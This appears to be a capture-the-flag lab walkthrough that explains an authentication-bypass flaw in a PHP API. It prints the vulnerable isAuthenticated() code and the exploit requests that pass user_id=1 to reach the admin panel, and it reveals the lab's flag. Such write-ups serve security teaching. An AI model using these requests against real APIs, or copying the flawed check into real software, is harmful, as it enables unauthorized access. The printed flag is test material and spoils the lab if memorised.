Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
This API implements a simple authentication system with a critical logic flaw. Let's understand how it works:
GET /api/status
/api/profile
requires authentication and /api/admin
requires admin privilegesThe API uses a multi-layered authentication approach:
session_id
cookieAuthorization: Bearer <token>
headeruser_id
parameter in GET/POST requestsKey Insight: The authentication checks are performed in sequence, and if any method succeeds, the user is considered authenticated. This creates a logic flaw.
The vulnerability exists in the isAuthenticated()
function. Here's the problematic logic:
// LOGIC FLAW: Check for user_id parameter in GET/POST
if (isset($_GET['user_id']) || isset($_POST['user_id'])) {
$userId = $_GET['user_id'] ?? $_POST['user_id'];
// Find user by user_id
foreach ($users as $username => $userData) {
if ($userData['user_id'] == $userId) {
return [/* user data */];
}
}
}
The Problem: This code allows direct authentication by simply providing a user_id
parameter, bypassing all other security checks.
POST /api/login
with {"username": "test", "password": "test"}
user_id
user_id: 23
User Mapping:
admin
→ user_id: 1
(admin role)test
→ user_id: 23
(user role)Now that we understand the vulnerability, we can exploit it:
GET /api/admin?user_id=1
GET /api/profile?user_id=23
POST /api/admin
with body {"user_id": 1}
Why This Works: The API checks for the user_id
parameter first, and if found, it directly authenticates the user without checking session tokens or other security measures.
GET /api/admin?user_id=1
will return:{"message": "Admin panel accessed successfully", "admin_data": {"system_status": "operational", "active_users": 42, "server_uptime": "7 days", "flag": "2915b155-bfde-4532-897f-ebdf8ed52d82"}}
2915b155-bfde-4532-897f-ebdf8ed52d82
This vulnerability exists because:
When testing APIs for similar vulnerabilities:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.